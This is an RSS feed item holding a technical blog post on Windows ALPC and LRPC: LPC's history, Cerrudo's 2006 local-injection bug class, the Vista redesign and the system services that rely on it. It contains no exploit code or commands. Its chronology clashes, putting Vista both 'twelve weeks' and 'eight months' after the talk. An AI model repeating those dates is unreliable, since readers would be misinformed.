<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Parag Mali - tag: security</title><description>Posts tagged security.</description><link>https://paragmali.com/</link><language>en-US</language><lastBuildDate>Sun, 07 Jun 2026 04:13:07 GMT</lastBuildDate><atom:link href="https://paragmali.com/tags/security/rss.xml" rel="self" type="application/rss+xml"/><item><title>Every UAC Prompt Is an ALPC Handshake: A Field Guide to Windows&apos; Most-Attacked Local IPC Fabric</title><link>https://paragmali.com/blog/every-uac-prompt-is-an-alpc-handshake-a-field-guide-to-windo/</link><guid isPermaLink="true">https://paragmali.com/blog/every-uac-prompt-is-an-alpc-handshake-a-field-guide-to-windo/</guid><description>ALPC and LRPC are the asynchronous local-IPC fabric under every Windows service. This is the story of the kernel object Microsoft does not document and the attack surface almost every Patch Tuesday still fixes.</description><pubDate>Wed, 27 May 2026 00:00:00 GMT</pubDate><content:encoded>
Every Windows service that exposes a local API does so through **LRPC**, the RPC runtime&apos;s local-only transport, and LRPC rides on top of **ALPC**, the kernel&apos;s asynchronous message-and-attribute IPC primitive. The kernel layer is settled engineering. The interface-callback layer in user-mode RPC application code is the load-bearing local elevation-of-privilege surface that almost every Patch Tuesday since 2018 has shipped fixes for. Microsoft does not publish a Win32 or WDK reference for the kernel-side ALPC API; the public knowledge of both layers comes from a handful of named researchers reverse-engineering it. And per-connection ALPC ports are unnamed, which is the asymmetry that makes the threat model coherent -- Section 4 walks why.
&lt;h2&gt;1. Every UAC Prompt Is an ALPC Handshake&lt;/h2&gt;
&lt;p&gt;Double-click an installer. The screen dims, a familiar dialog asks whether you want to allow this app to make changes, and a moment later either nothing happens or the installer keeps running. That moment of dim-and-prompt -- the &lt;a href=&quot;https://paragmali.com/blog/adminless-how-windows-finally-made-elevation-a-security-boun/&quot; rel=&quot;noopener&quot;&gt;User Account Control&lt;/a&gt; consent dialog -- is the most-seen artefact of one of the most-attacked primitives in the Windows kernel: a four-phase handshake on an asynchronous local-IPC port whose name does not appear in any Win32 or WDK reference Microsoft publishes.&lt;/p&gt;
&lt;p&gt;Trace the call from the user side. The Explorer shell invokes &lt;code&gt;ShellExecuteEx&lt;/code&gt; with the verb set to &lt;code&gt;runas&lt;/code&gt;. That call does not magically elevate the process; it sends a request &lt;em&gt;to another process&lt;/em&gt;, the &lt;strong&gt;Application Information service&lt;/strong&gt; (&lt;code&gt;appinfo&lt;/code&gt;) running as &lt;code&gt;svchost.exe -k netsvcs&lt;/code&gt; with SYSTEM authority [@msdocs-svchost] [@forshaw-rpc-2019]. The hand-off is an RPC call. The RPC runtime, asked for a local endpoint, selects the &lt;code&gt;ncalrpc&lt;/code&gt; protocol sequence -- &quot;Local procedure call&quot; in Microsoft&apos;s own protocol-sequence reference [@msdocs-protseq]. Underneath that string is the LRPC transport in &lt;code&gt;rpcrt4.dll&lt;/code&gt;, and underneath the LRPC transport is a kernel ALPC port that lives at the &lt;a href=&quot;https://paragmali.com/blog/the-object-manager-namespace/&quot; rel=&quot;noopener&quot;&gt;Object Manager name&lt;/a&gt; &lt;code&gt;\RPC Control\appinfo&lt;/code&gt;. The kernel resolves the name, the handshake completes, and a single syscall named &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt; [@ntdoc-ntalpc] carries the request message into the SYSTEM-context server and the reply back.&lt;/p&gt;
&lt;p&gt;That syscall is the load-bearing entry point for the entire local-IPC fabric. Microsoft Learn does not publish a reference page for it. The de facto reference is a community-maintained header dump at &lt;code&gt;ntdoc.m417z.com&lt;/code&gt; [@ntdoc-ntalpc] that lists all eight parameters of the function. The kernel object behind the call is the &lt;code&gt;_ALPC_PORT&lt;/code&gt;, and the per-connection structure layouts are documented only on Geoff Chappell&apos;s site [@chappell-alpc] [@chappell-alpcp] and inside the chapter named &lt;em&gt;Advanced local procedure call (ALPC)&lt;/em&gt; of &lt;em&gt;Windows Internals 7e Part 2&lt;/em&gt; [@wininternals-7e].&lt;/p&gt;

The kernel object and syscall family that replaced classic LPC in Windows Vista (November 2006). ALPC is an asynchronous, message-and-attribute IPC primitive built around the `_ALPC_PORT` object. The user-mode entry points are the undocumented `Nt*Alpc*` and `Alpc*` functions exported from `ntdll.dll`. Every local RPC call in modern Windows transits an ALPC port [@csandker-alpc].

The Microsoft RPC runtime&apos;s transport selected when an application binds to the `ncalrpc` protocol sequence [@msdocs-protseq]. LRPC layers the RPC interface-registration model -- IDL, NDR marshalling, security callbacks -- on top of ALPC ports. LRPC is implemented inside `rpcrt4.dll`; the kernel does not know it exists. The kernel sees only ALPC messages.
&lt;p&gt;The abbreviation collision is real and bites every newcomer. &lt;strong&gt;LPC&lt;/strong&gt; is the original Windows NT 3.1 kernel primitive. &lt;strong&gt;LRPC&lt;/strong&gt; is the RPC runtime&apos;s local transport, named in Windows NT 3.5 (1994), a full decade before ALPC existed [@custer-solomon-2e]. LRPC was a transport name when the underlying kernel object was still LPC. Vista renamed the kernel object to ALPC; nobody renamed the transport. The two abbreviations differ by one letter and refer to different layers.&lt;/p&gt;
&lt;p&gt;Two layers sit on top of one kernel object. The kernel layer is what &lt;code&gt;Nt*Alpc*&lt;/code&gt; syscalls touch. The user-mode layer is the RPC runtime&apos;s interface dispatch -- the IDL stubs, the NDR encoders, the per-interface security callback the application registers with &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; [@msdocs-rpcregisterif2]. The rest of this article pulls these two layers apart, walks the history that produced them, and explains why almost every Patch Tuesday since 2018 has shipped fixes inside the second one.&lt;/p&gt;

sequenceDiagram
    participant Client as Client (ShellExecuteEx peer)
    participant ConnPort as Connection port \RPC Control\appinfo
    participant CommPort as Per-connection communication ports (unnamed)
    participant Server as AppInfo service (SYSTEM)
    Client-&amp;gt;&amp;gt;ConnPort: NtAlpcConnectPort (CONNECT)
    ConnPort-&amp;gt;&amp;gt;Server: ALPC connect message queued
    Server-&amp;gt;&amp;gt;CommPort: NtAlpcAcceptConnectPort (ACCEPT, returns paired handles)
    Client-&amp;gt;&amp;gt;CommPort: NtAlpcSendWaitReceivePort (REQUEST)
    CommPort-&amp;gt;&amp;gt;Server: ALPC message with NDR-encoded args
    Server-&amp;gt;&amp;gt;CommPort: NtAlpcSendWaitReceivePort (REPLY)
    CommPort-&amp;gt;&amp;gt;Client: NDR-encoded reply delivered
    Client-&amp;gt;&amp;gt;CommPort: NtAlpcDisconnectPort (CLOSE)
&lt;p&gt;The diagram is the article in miniature. Three of the four labelled actors are kernel objects: a named connection port, an unnamed pair of communication ports, and the message queue between them. The fourth is application code running in two different processes. The bugs of the next thirteen years live in the application code. The diagram&apos;s correctness rests on a structural fact almost every secondary writeup gets wrong, and Section 4 spells it out in full.&lt;/p&gt;
&lt;p&gt;If this primitive is everywhere, why does nobody talk about it? Because nobody had to, for thirteen years.&lt;/p&gt;
&lt;h2&gt;2. Origins -- Cutler&apos;s NT and the Birth of LPC (1989-1993)&lt;/h2&gt;
&lt;p&gt;Dave Cutler talked about it, in October 1988, to a room of people he was trying to recruit out of Digital Equipment Corporation [@zachary-showstopper]. The pitch was a from-scratch portable operating system at Microsoft. The architectural commitment that mattered for our story was a microkernel-style design: the Windows personality, the OS/2 personality, the POSIX personality would all run as user-mode subsystems, each in its own process, talking to clients through a fast in-machine remote procedure call. The kernel would not implement the Win32 API directly. The kernel would implement an IPC primitive shaped like a procedure call and cheap enough to use for every Win32 API a process made.&lt;/p&gt;
&lt;p&gt;That decision created a design problem the team had to solve before any of the subsystems could be written. Microkernel-style separation of subsystems means that the Win32 client of &lt;code&gt;CreateWindow&lt;/code&gt; is in one process and the Win32 server that draws the window is in another. Every API call crosses a process boundary. The IPC primitive that carries the crossing has to look like a function call, return like a function call, and cost no more than tens of microseconds. The Cutler team -- Lou Perazzoli, Mark Lucovsky, Steven Wood, Darryl Havens, and the larger NT design group [@zachary-showstopper] -- shipped that primitive as &lt;strong&gt;Local Procedure Call&lt;/strong&gt;, or LPC, with the first release of Windows NT in July 1993. Helen Custer documented the design that same year in &lt;em&gt;Inside Windows NT&lt;/em&gt; [@custer-print], the canonical first-edition print primary.&lt;/p&gt;

The original Windows NT kernel IPC primitive, introduced with NT 3.1 in July 1993 as a synchronous inter-process communication facility [@csandker-alpc]. LPC was synchronous-call-shaped, used three port objects per connection (one named connection port plus two unnamed communication ports), and was the transport for every Win32 API call into the Client/Server Runtime Subsystem (CSRSS) until Windows Vista. The kernel removed classic LPC entirely by Windows 7; legacy `NtCreatePort` callers were silently redirected onto the ALPC implementation [@csandker-alpc].
&lt;p&gt;The classic LPC mechanism worked like this. A server process calls &lt;code&gt;NtCreatePort&lt;/code&gt; to create a &lt;em&gt;connection port&lt;/em&gt; under an Object Manager name (for example, &lt;code&gt;\Windows\ApiPort&lt;/code&gt; for CSRSS). The server then waits on the connection port. A client process opens the connection port by name and calls &lt;code&gt;NtConnectPort&lt;/code&gt; to request a session. The kernel creates two new, unnamed &lt;em&gt;communication ports&lt;/em&gt; -- one the client holds, one the server holds -- and ties them to the connection through the kernel&apos;s port-routing tables. From that point on, the client and server send messages through their respective communication-port handles; neither party has to look up the other in the Object Manager namespace. The three-port model is the architectural ancestor of every ALPC handshake the rest of this article will walk.&lt;/p&gt;

flowchart LR
    A[Client process] -- &quot;NtConnectPort by name&quot; --&amp;gt; B[Connection port \Windows\ApiPort -- NAMED]
    B -- &quot;NtAcceptConnectPort&quot; --&amp;gt; C[Server process]
    C -- &quot;issues a pair of handles&quot; --&amp;gt; D[Client comm port -- UNNAMED]
    C -- &quot;issues a pair of handles&quot; --&amp;gt; E[Server comm port -- UNNAMED]
    A -- &quot;NtRequestWaitReplyPort&quot; --&amp;gt; D
    D -- &quot;kernel routes the message&quot; --&amp;gt; E
    E -- &quot;delivered to&quot; --&amp;gt; C
&lt;p&gt;The two design pinch-points that Vista would later have to fix are visible already in the 1993 mechanism. First, the call surface was synchronous: &lt;code&gt;NtRequestWaitReplyPort&lt;/code&gt; sent a message and blocked the caller until the reply came back, which forced the higher-level RPC runtime to wrap its own asynchronous machinery around the syscall and doubled the syscall cost for every async RPC. Second, the message payload had a small fixed inline budget -- on the order of 256 bytes [@csandker-alpc] -- with anything larger requiring an explicit &lt;code&gt;NtMapViewOfSection&lt;/code&gt; dance to set up a shared section the server would then peek into. The split between &quot;short message in the syscall&quot; and &quot;long payload in a shared section&quot; was awkward, racy, and a perennial source of off-by-one bugs in the server stubs.&lt;/p&gt;
&lt;p&gt;The third pinch-point was security, and it is the one Cesar Cerrudo will name in 2006. LPC&apos;s access check happened once, at &lt;code&gt;NtConnectPort&lt;/code&gt;, against the connection port&apos;s discretionary access control list (DACL). After the handshake, the kernel had no further opinion about who could send what to whom over the established channel. The server trusted every message it received because the kernel had already vouched that the client cleared the DACL at connect time. In 1993 that trust model was fine. The only callers of CSRSS were Win32 client processes the team controlled. POSIX clients talked to the POSIX subsystem; OS/2 clients talked to the OS/2 subsystem; the trust boundaries were the subsystem boundaries and nobody crossed them on purpose.&lt;/p&gt;

The microkernel idea -- pull as much out of the kernel as possible, run it as user-mode servers -- was a late-1980s academic enthusiasm, energised by Carnegie Mellon&apos;s Mach. Cutler brought it to NT after building VMS and the never-shipped Mica research kernel at Digital. The catch was performance. Every API call that used to be a function call inside the kernel now had to be a context switch, a message copy, and a reply, twice. If that round trip cost a millisecond, Windows would feel like a 1980s timesharing system. LPC&apos;s job was to make it cost microseconds, and the team&apos;s success there is one reason NT could ship at all. The structural cost -- a synchronous primitive whose security check ran once and then trusted the channel -- was not the 1993 team&apos;s problem, because they controlled both ends of every conversation.
&lt;p&gt;The 1993 design assumed the only callers of CSRSS were Win32 client processes the team controlled. That assumption held for thirteen years.&lt;/p&gt;
&lt;h2&gt;3. The First Reckoning -- LPC&apos;s Failure Modes and Cerrudo&apos;s WLSI 2006&lt;/h2&gt;
&lt;p&gt;In March 2006, at Black Hat Europe in Amsterdam, Cesar Cerrudo gave a talk titled &lt;em&gt;WLSI -- Windows Local Shellcode Injection&lt;/em&gt;. Twelve weeks later, Microsoft shipped the Vista ALPC redesign. The temporal compression is intentional, but it is not the whole story: the Vista redesign had been underway inside the kernel team for years before Cerrudo&apos;s talk. What the talk did was give the public security community a name and a shape for the structural class of bug the redesign was about to address.&lt;/p&gt;
&lt;p&gt;Cerrudo&apos;s paper, archived at Exploit-DB under the title &lt;em&gt;WLSI Windows Local Shellcode Injection&lt;/em&gt; and dated March 14, 2006 [@cerrudo-exploitdb], with the speaker deck mirrored on Black Hat&apos;s own server [@cerrudo-bh-pdf], walked an end-to-end attack on an LPC server inside CSRSS. The exact server is less important than the attack&apos;s three-clause shape, which Cerrudo articulated and which would recur, over the next two decades, in every later ALPC and LRPC privilege-escalation primitive.&lt;/p&gt;

flowchart LR
    A[Port is reachable -- the connection port DACL admits the attacker] --&amp;gt; D[Local elevation-of-privilege primitive]
    B[Server trusts the message -- no per-message identity check or per-procedure authorization] --&amp;gt; D
    C[Channel survives the access check -- LPC checks the DACL once at NtConnectPort, then forgets] --&amp;gt; D
&lt;p&gt;Clause one: &lt;em&gt;the port is reachable&lt;/em&gt;. The LPC connection port has a DACL; the attacker happens to be inside it. For CSRSS&apos;s &lt;code&gt;\Windows\ApiPort&lt;/code&gt;, that means &quot;any Win32 process on the desktop&quot;, which is exactly what NT was supposed to permit. Clause two: &lt;em&gt;the DACL is permissive&lt;/em&gt;. Every authenticated user is in scope of the LPC servers that brokered the user-mode Win32 API surface, by design. Clause three: &lt;em&gt;the server trusts the message&lt;/em&gt;. The LPC kernel object exposes a &lt;code&gt;PORT_MESSAGE&lt;/code&gt; header with two fields the receiver can use for bookkeeping -- a process ID and a thread ID. The fields are not authenticated. The receiving server, in the WLSI demonstration, read attacker-controlled offsets and lengths out of the message body and walked into the server&apos;s own address space.&lt;/p&gt;
&lt;p&gt;The three clauses together produce a local elevation primitive. None of the clauses, taken individually, is a kernel bug. None, taken individually, is even an application bug. The bug -- in the WLSI exemplar -- is that the CSRSS server trusted a length field that came from a process the server itself had no reason to trust. The OS did exactly what its security model promised. The application did exactly what the IPC primitive made easy.&lt;/p&gt;

A Windows access control list attached to a securable object (a file, a registry key, a kernel object such as an LPC or ALPC port) that names the security principals allowed or denied each access right. For an LPC connection port, the DACL governs whether a calling process is allowed to open the port at all. Once the port is opened, the DACL is no longer consulted for messages flowing across the established connection -- which is exactly the once-and-done check at the centre of Cerrudo&apos;s structural class.

The 1993 trust model held until 2006 because the team controlled both ends of every conversation. Cerrudo named the class of bug that emerged when that assumption stopped holding.
&lt;p&gt;That structural class is the load-bearing reason the Vista redesign was about to be a redesign and not a patch. The three LPC failure modes the kernel team had identified -- the ones that motivated re-architecting the primitive rather than fixing the WLSI server -- compose a near-perfect mirror of Cerrudo&apos;s three clauses. They are: (1) the synchronous-only design forced the RPC runtime to layer its own asynchronous wrapper around &lt;code&gt;NtRequestWaitReplyPort&lt;/code&gt;, doubling the per-call syscall cost for async RPC; (2) the 256-byte inline plus shared-section dance was awkward and prone to race conditions in the server stub; (3) the port-DACL-only security model checked access once at connect and then trusted the channel, with no kernel primitive for per-message caller identity. A redesign was the only way to attack all three at once without breaking every NT 4-era server in the field.&lt;/p&gt;
&lt;p&gt;One LPC failure mode that did not make Cerrudo&apos;s slide and that Microsoft has never publicly discussed in detail was the reply-port confusion class. In classic LPC, a server&apos;s reply traveled back over the client&apos;s communication port handle, and a misbehaving server could be tricked into replying to the wrong client when multiple connections were interleaved. Microsoft addressed this quietly in the Vista era; the only public references are footnotes in &lt;em&gt;Windows Internals&lt;/em&gt; editions and the occasional aside in csandker [@csandker-alpc]. The public security community did not catch the bug class at the time.&lt;/p&gt;
&lt;p&gt;In November 2006 -- eight months after WLSI -- Windows Vista shipped. The new kernel called the replacement primitive &lt;strong&gt;Advanced LPC&lt;/strong&gt;. The redesign closed half of Cerrudo&apos;s structural class -- the &lt;em&gt;permissive port DACL&lt;/em&gt; half, by giving servers fine-grained tools to control who reaches their connection ports and by introducing a per-message security attribute the server could query for caller identity. It left the other half completely intact, because the other half is not a kernel property. The other half lives in the user-mode RPC runtime and in the application code that registers RPC interfaces on top of ALPC ports. That intact half is what the next thirteen years of public security research is about.&lt;/p&gt;
&lt;p&gt;The naive read of Cerrudo&apos;s paper is &quot;Microsoft will fix the bug.&quot; The structural read is harder: Cerrudo did not find a bug. He named a class of bug whose root cause is a property of the trust model. The Vista redesign closed the half of the class the kernel could close. It could not close the rest, because the rest is application code, and the kernel cannot inspect application code.&lt;/p&gt;
&lt;h2&gt;4. The Breakthrough -- ALPC, the Vista Redesign, and the Message-Attribute System&lt;/h2&gt;
&lt;p&gt;The Vista kernel team&apos;s answer to Cerrudo was not a patch. It was a complete replacement of the kernel object.&lt;/p&gt;
&lt;p&gt;ALPC re-cast the LPC port as an &lt;strong&gt;asynchronous, message-and-attribute-based&lt;/strong&gt; primitive. The classic LPC quartet -- &lt;code&gt;NtRequestPort&lt;/code&gt;, &lt;code&gt;NtReplyPort&lt;/code&gt;, &lt;code&gt;NtRequestWaitReplyPort&lt;/code&gt;, &lt;code&gt;NtReplyWaitReplyPort&lt;/code&gt; -- collapsed into a single syscall, &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt; [@ntdoc-ntalpc], with eight parameters whose combinations express every variant the older quartet supported. The kernel object behind the syscall is the &lt;code&gt;_ALPC_PORT&lt;/code&gt;. The structure layout is documented only in the chapter named &lt;em&gt;Advanced local procedure call (ALPC)&lt;/em&gt; of &lt;em&gt;Windows Internals 7e Part 2&lt;/em&gt; [@wininternals-7e], in the reverse-engineered header dumps on Geoff Chappell&apos;s site [@chappell-alpc] [@chappell-alpcp], and in the community-maintained &lt;code&gt;phnt&lt;/code&gt; headers that the Process Hacker project ships. None of those is a Microsoft Learn page.&lt;/p&gt;

The kernel object at the centre of Vista-and-later local IPC. Named connection ports are referenced by Object Manager name (typically under `\RPC Control`, `\BaseNamedObjects`, or per-session AppContainer subtrees). The per-connection communication ports created by `NtAlpcAcceptConnectPort` are unnamed and exist only as handles in the connecting and accepting processes. The structure layout is undocumented by Microsoft; the canonical reverse-engineered reference is Geoff Chappell&apos;s site [@chappell-alpc].
&lt;p&gt;The user-mode syscall surface, enumerated as exhaustively as anyone outside Microsoft can: &lt;code&gt;NtAlpcCreatePort&lt;/code&gt;, &lt;code&gt;NtAlpcConnectPort&lt;/code&gt;, &lt;code&gt;NtAlpcAcceptConnectPort&lt;/code&gt;, &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt;, &lt;code&gt;NtAlpcDisconnectPort&lt;/code&gt;, &lt;code&gt;NtAlpcCancelMessage&lt;/code&gt;, &lt;code&gt;NtAlpcCreatePortSection&lt;/code&gt;, &lt;code&gt;NtAlpcCreateResourceReserve&lt;/code&gt;, plus the &lt;code&gt;PORT_ATTRIBUTES&lt;/code&gt; and message-attribute structures that decorate each call. Microsoft Learn does not list any of them under a Win32 or WDK developer-facing reference. NtDoc [@ntdoc-ntalpc] is the de facto syscall reference, and the &lt;em&gt;Windows Internals 7e Part 2&lt;/em&gt; chapter is the de facto architectural reference.&lt;/p&gt;

Microsoft has documented the user-mode RPC runtime exhaustively on Learn -- the IDL syntax, the marshalling rules, the binding-handle API, the interface-registration flags. The `Nt*Alpc*` and `Alpc*` kernel surface is the deliberate exception. Microsoft&apos;s framing is that ALPC is an *internal* implementation detail of the RPC runtime, not a stable developer-facing API. Application authors are supposed to write RPC code, not ALPC code. The framing is defensible -- the ALPC ABI does change between Windows versions -- but it leaves the entire defender community reverse-engineering the surface from public symbols, the *Windows Internals* book series, NtDoc, Geoff Chappell, and the open-source `phnt` headers. The Vista-and-later structural correctness story this article tells is one that Microsoft has never written down for outside readers.
&lt;p&gt;The structural break with classic LPC is the &lt;strong&gt;message-attribute&lt;/strong&gt; system. Every ALPC message can carry four optional attributes, each of which targets one of the awkward LPC patterns the old kernel forced server authors to roll by hand.&lt;/p&gt;

An optional decoration on an ALPC message that lets the sender or receiver request a kernel service in band with the message itself. The four attribute types are **Context**, **Handle**, **Security**, and **View**. Each one targets a workflow that classic LPC required application code to perform out of band; in ALPC the kernel does the work atomically with the message exchange.
&lt;p&gt;&lt;strong&gt;The Context attribute&lt;/strong&gt; carries a per-message per-client cookie the server uses to associate the message with a logical operation. In classic LPC, a server tracking a multi-step protocol had to maintain its own client-to-state map indexed by client process ID, with all the race conditions that map invited; the Context attribute moves that bookkeeping into the kernel and makes it correct by construction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Handle attribute&lt;/strong&gt; is first-class handle passing inside the message itself. In classic LPC, transferring a kernel handle from sender to receiver required the sender to call &lt;code&gt;DuplicateHandle&lt;/code&gt; with the receiver&apos;s process handle, hope the receiver hadn&apos;t exited, and then send the resulting handle value in the message body. The Handle attribute lets the kernel do the duplication atomically with delivery; the receiver finds the duplicated handle already in its own handle table when the message lands.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Security attribute&lt;/strong&gt; is the per-message identity primitive whose absence Cerrudo had named in 2006. The sender can opt to attach its caller token to a message; the receiver can opt to query the token (process ID, thread ID, integrity level, AppContainer SID) when it dispatches the message. The classic LPC pattern -- &quot;trust the channel because the kernel checked the DACL at connect&quot; -- gets replaced by &quot;ask the kernel who is actually sending this message right now.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The View attribute&lt;/strong&gt; is the shared-section dance, rewritten. In classic LPC, payloads larger than the inline budget required the sender to call &lt;code&gt;NtCreateSection&lt;/code&gt;, both parties to call &lt;code&gt;NtMapViewOfSection&lt;/code&gt;, and the receiver to peek into the shared mapping. The View attribute hands the receiver a section view automatically as a side effect of message delivery; no out-of-band coordination is required.&lt;/p&gt;

flowchart TD
    A[Context attribute] --&amp;gt; A1[Replaces: server-side client-to-state map indexed by PID]
    B[Handle attribute] --&amp;gt; B1[Replaces: out-of-band DuplicateHandle dance]
    C[Security attribute] --&amp;gt; C1[Replaces: trust the channel because DACL was checked at connect]
    D[View attribute] --&amp;gt; D1[Replaces: NtCreateSection plus NtMapViewOfSection dance for large payloads]
&lt;p&gt;The handshake topology survives from classic LPC and tightens. The server creates a named connection port with &lt;code&gt;NtAlpcCreatePort&lt;/code&gt;. The client opens the connection port by name with &lt;code&gt;NtAlpcConnectPort&lt;/code&gt; and sends an initial connect message; the kernel queues the connect on the server&apos;s port. The server calls &lt;code&gt;NtAlpcAcceptConnectPort&lt;/code&gt;, and the kernel returns a &lt;em&gt;pair&lt;/em&gt; of communication-port handles -- one to the client, one to the server -- that are bound to that single connection. From that point on, the kernel routes messages through the paired handles, and every send or receive is a single call to &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt;. Asynchronous is the default; synchronous semantics are a flag combination. The per-port message queue, the blocked-receiver wake, and the cross-port routing all run inside the kernel dispatcher.&lt;/p&gt;

flowchart LR
    A[Client process] -- &quot;NtAlpcConnectPort by name&quot; --&amp;gt; B[Connection port -- NAMED in \RPC Control]
    B -- &quot;kernel queues the connect&quot; --&amp;gt; C[Server process]
    C -- &quot;NtAlpcAcceptConnectPort&quot; --&amp;gt; D[Paired comm ports -- UNNAMED]
    A -- &quot;NtAlpcSendWaitReceivePort&quot; --&amp;gt; D
    D -- &quot;kernel routing&quot; --&amp;gt; C
&lt;p&gt;Here is the structural correction the input premise to this article got wrong, and that almost every secondary writeup gets wrong. &lt;strong&gt;Only the named connection port has an Object Manager name.&lt;/strong&gt; The per-connection communication ports created by &lt;code&gt;NtAlpcAcceptConnectPort&lt;/code&gt; are unnamed. They have no path under &lt;code&gt;\RPC Control&lt;/code&gt; or &lt;code&gt;\BaseNamedObjects&lt;/code&gt; or anywhere else. They exist only as handles in the address spaces of the two processes that completed the handshake. No third party can open them, because no third party has a name with which to ask the Object Manager for them.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ALPC&apos;s structural correctness rests on a single move: the per-connection communication ports are unnamed. Only the parties that completed the handshake can address the channel. The kernel does not let anyone else find it. This is the half of Cerrudo&apos;s structural class the Vista redesign actually closed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A statement like &quot;every ALPC port has an Object Manager name&quot; is wrong, and it propagates a wrong threat model. Named ports are the entry points an attacker can knock on. Unnamed communication ports are the established channels the attacker cannot reach without first being admitted through the connection port&apos;s DACL. Defenders who get this wrong start hunting for the unnamed children in the Object Manager namespace and find nothing, then conclude the tooling is broken. The tooling is fine. The ports are not there.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft&apos;s documentation choice has consequences for tooling. The Wireshark dissector for MSRPC handles the on-the-wire NDR encoding well, but it has no view into the kernel ALPC layer because the kernel does not emit a packet capture. To see ALPC at the kernel level the tooling has to subscribe to the &lt;code&gt;Microsoft-Windows-Kernel-ALPC&lt;/code&gt; ETW provider [@msdocs-etwsys], and even that provider is gated behind &lt;code&gt;EVENT_TRACE_SYSTEM_LOGGER_MODE&lt;/code&gt;, which a non-SYSTEM caller cannot enable. The structural opacity of the kernel layer is partly an artefact of the deliberate &quot;no public WDK developer-facing reference&quot; position.&lt;/p&gt;
&lt;p&gt;Backward compatibility was preserved by silent rewiring rather than by parallel kernel objects. The classic LPC syscall names continue to link in any pre-Vista binary, but from Windows 7 onward the kernel routes those calls into the ALPC implementation underneath [@csandker-alpc]. Classic LPC, as an independent kernel object, no longer exists. The 1993 syscall surface is alive only as a thin compatibility shim. The 2006 kernel object is what every modern Windows service actually uses.&lt;/p&gt;
&lt;p&gt;The Vista redesign closed the &lt;em&gt;permissive port DACL&lt;/em&gt; half of the structural problem. It left the &lt;em&gt;interface callback returns RPC_S_OK when it should return RPC_S_ACCESS_DENIED&lt;/em&gt; half completely intact.The Vista kernel team&apos;s collective attribution stops short of naming individual ALPC architects. &lt;em&gt;Windows Internals 7e Part 2&lt;/em&gt; [@wininternals-7e] credits the work institutionally rather than to a single engineer, and no public Microsoft artefact identifies a single ALPC architect by name; secondary attributions in conference talks and blog posts trace back to footnotes rather than to primary record. That intact half is the rest of this article.&lt;/p&gt;
&lt;h2&gt;5. The Universalisation -- ALPC as the Local IPC Fabric (2009-2013)&lt;/h2&gt;
&lt;p&gt;By 2013, ALPC ran the local-IPC traffic of every Windows service that mattered. The kernel team had removed classic LPC. The Vista replacement had not been &lt;em&gt;replaced&lt;/em&gt;; it had been &lt;em&gt;adopted&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The transition was technically backwards-compatible. Pre-Vista binaries that called &lt;code&gt;NtCreatePort&lt;/code&gt; and &lt;code&gt;NtRequestWaitReplyPort&lt;/code&gt; continued to link and run; the kernel preserved the syscall names and silently rerouted the calls into the ALPC implementation underneath [@csandker-alpc]. The compatibility was not lossless -- the old single-message-per-call semantics map onto the ALPC asynchronous primitive only at the cost of an extra wait -- but it was good enough that no Microsoft-shipped service ever needed a port from classic LPC. Every service author upgrading to Vista or later was implicitly upgraded to ALPC.&lt;/p&gt;
&lt;p&gt;By Windows 8.1 the roll-call of services riding LRPC on ALPC was effectively the roll-call of services that ship with Windows. The Client/Server Runtime Subsystem (CSRSS) had been ALPC-only since Vista. The Local Security Authority Subsystem Service (LSASS) -- which brokers logon, token issuance, and Kerberos ticket caching -- exposes its API surface over LRPC. The Service Control Manager (SCM, &lt;code&gt;services.exe&lt;/code&gt;) accepts service-control commands over an LRPC interface. The DCOM activation service (&lt;code&gt;rpcss&lt;/code&gt;) marshals every local COM activation request through an LRPC pipeline. Windows Error Reporting, the audio service (&lt;code&gt;audiosrv&lt;/code&gt;), Task Scheduler (&lt;code&gt;schedsvc&lt;/code&gt;/&lt;code&gt;schrpc&lt;/code&gt;), the Application Information service (&lt;code&gt;appinfo&lt;/code&gt;) that brokers UAC, the Encrypting File System extension (&lt;code&gt;efslsaext&lt;/code&gt;, the EFSRPC server documented in the [MS-EFSR] specification [@ms-efsr]), the print spooler (&lt;code&gt;spoolsv&lt;/code&gt;), and the Background Intelligent Transfer Service (BITS) all expose at least one LRPC interface for client communication [@csandker-rpc].&lt;/p&gt;

flowchart TD
    K[Kernel ALPC layer -- _ALPC_PORT objects, NtAlpcSendWaitReceivePort dispatcher]
    K --&amp;gt; CSRSS[CSRSS -- Win32 subsystem]
    K --&amp;gt; LSASS[LSASS -- logon and token issuance]
    K --&amp;gt; SCM[Service Control Manager]
    K --&amp;gt; RPCSS[RPCSS -- DCOM activator and epmapper]
    K --&amp;gt; APPINFO[AppInfo -- UAC consent broker]
    K --&amp;gt; SPOOL[Print Spooler]
    K --&amp;gt; SCHRPC[Task Scheduler -- schrpc and schedsvc]
    K --&amp;gt; BITS[BITS -- background transfers]
    K --&amp;gt; AUDIO[Audio service -- audiosrv]
    K --&amp;gt; EFS[EFS -- efslsaext]
&lt;p&gt;That fan-out is the article&apos;s load-bearing diagram for understanding why ALPC is the most-attacked local IPC fabric in modern Windows. Every named service in that diagram is reachable over an LRPC interface. Every LRPC interface registers a per-interface security callback through &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; [@msdocs-rpcregisterif2] or &lt;code&gt;RpcServerRegisterIf3&lt;/code&gt; [@msdocs-rpcregisterif3]. Every callback is application code that the kernel cannot inspect. A single permissive interface in a single one of those services is a structural primitive that works against the transport every service uses. Trail of Bits, announcing their RPC Investigator tool in January 2023, captured the surface area in one line: MSRPC is &quot;involved on some level in nearly every activity that you can take on a Windows system, from logging in to your laptop to opening a file&quot; [@tob-rpcinv-blog].&lt;/p&gt;

